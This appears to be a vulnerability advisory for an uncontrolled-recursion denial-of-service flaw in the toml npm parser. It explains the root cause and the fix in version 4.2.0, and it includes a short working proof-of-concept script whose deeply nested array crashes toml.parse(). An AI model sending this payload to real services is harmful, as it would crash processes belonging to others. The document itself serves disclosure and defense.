CVE-2026-77465: toml Uncontrolled Recursion (DoS)
The toml npm package crashes any Node.js process that calls toml.parse() on a deeply nested array or inline table, because the Peggy-generated parser has no recursion depth limit, letting an attacker…

The problem
toml-node's lib/parser.js is generated by Peggy 5.1.0 as a recursive-descent parser. The peg$parsevalue function calls peg$parsearray, which calls peg$parsevalue again for each array element, with no depth counter anywhere in the chain.
A document with a few thousand nested arrays exhausts the Node.js call stack in milliseconds. The resulting RangeError is not a subclass of the parser's SyntaxError, so typical error handlers that check for e.line or e instanceof SyntaxError rethrow it as an uncaught exception, taking down the worker or process.
Proof of concept
A working proof-of-concept for CVE-2026-77465 in toml, with the exact payload below.
// poc.js — run with: node poc.js (toml <= 4.1.2, any Node.js)
const toml = require('toml');
// Build a bare nested array 3000 levels deep (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x; // 6003 bytes
toml.parse(payload);
// => RangeError: Maximum call stack size exceededThe root cause is CWE-674: the mutual recursion path peg$parsevalue -> peg$parsearray -> peg$parsevalue has no base-case guard on nesting depth. Because lib/parser.js is machine-generated from src/toml.pegjs, there is no hand-written function to patch in place.
The fix in 4.2.0 (PR #72, commit 967b8b0) adds a pre-parse bracket-depth scan in the entry-point (index.js) that counts [ and { characters and throws a plain Error before the recursive parser is ever entered. A byte-length limit alone is not sufficient, since the crash payload is only ~5-6 KB.
The fix
Upgrade toml to version 4.2.0 or later (npm install toml@latest). If you cannot upgrade immediately, add your own nesting-depth guard before calling toml.parse(): count the maximum bracket depth in the raw string and reject anything above a few hundred levels.
A request body size limit alone does not protect you.
Related research
- high · 8.2CVE-2026-63376CVE-2026-63376: toml Prototype Pollution via __proto__ Key-Path Desynchronization
- high · 7.5CVE-2026-63462CVE-2026-63462: unleash-server Unauthenticated DoS via Recursive JSON Serialization
- high · 8.8CVE-2026-73222CVE-2026-73222: claude-code-templates Unauthenticated OS Command Injection (RCE) in Studio Server
- high · 8.3CVE-2026-82404CVE-2026-82404: @toon-format/toon Prototype Pollution via Untrusted Decode